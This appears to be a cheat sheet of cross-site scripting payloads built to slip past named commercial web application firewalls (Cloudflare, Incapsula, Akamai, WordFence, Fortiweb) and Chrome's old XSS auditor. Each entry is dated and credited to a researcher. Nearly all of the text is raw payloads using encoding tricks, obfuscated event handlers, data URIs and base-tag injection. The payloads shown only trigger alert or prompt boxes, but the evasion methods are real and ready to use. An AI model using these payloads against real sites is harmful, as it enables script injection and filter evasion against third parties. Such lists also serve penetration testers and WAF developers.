Common WAF Bypass

WAFs are designed to filter out malicious content by inspecting incoming and outgoing traffic for patterns indicative of attacks. Despite their sophistication, WAFs often struggle to keep up with the diverse methods attackers use to obfuscate and modify their payloads to circumvent detection.

Cloudflare

25st January 2021 - @Bohdan Korzhynskyi

<svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>

21st April 2020 - @Bohdan Korzhynskyi
```
<svg/OnLoad="`${prompt``}`">
```
22nd August 2019 - @Bohdan Korzhynskyi
```
<svg/onload=%26nbsp;alert`bohdan`+
```
5th June 2019 - @Bohdan Korzhynskyi
```
1'"><img/src/onerror=.1|alert``>
```

3rd June 2019 - @Bohdan Korzhynskyi

<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>

22nd March 2019 - @RakeshMane10

<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f

27th February 2018

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>

Chrome Auditor

NOTE: Chrome Auditor is deprecated and removed on latest version of Chrome and Chromium Browser.

9th August 2018

</script><svg><script>alert(1)-%26apos%3B

Incapsula WAF

11th May 2019 - @daveysec

<svg onload\r\n=$.globalEval("al"+"ert()");>

8th March 2018 - @Alra3ees

anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

11th September 2018 - @c0d3G33k

<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

Akamai WAF

18th June 2018 - @zseano

?"></script><base%20c%3D=href%3Dhttps:\mysite>

28th October 2018 - @s0md3v

<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>

WordFence WAF

12th September 2018 - @brutelogic
```
<a href=javas&#99;ript:alert(1)>
```

Fortiweb WAF

9th July 2019 - @rezaduty

\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e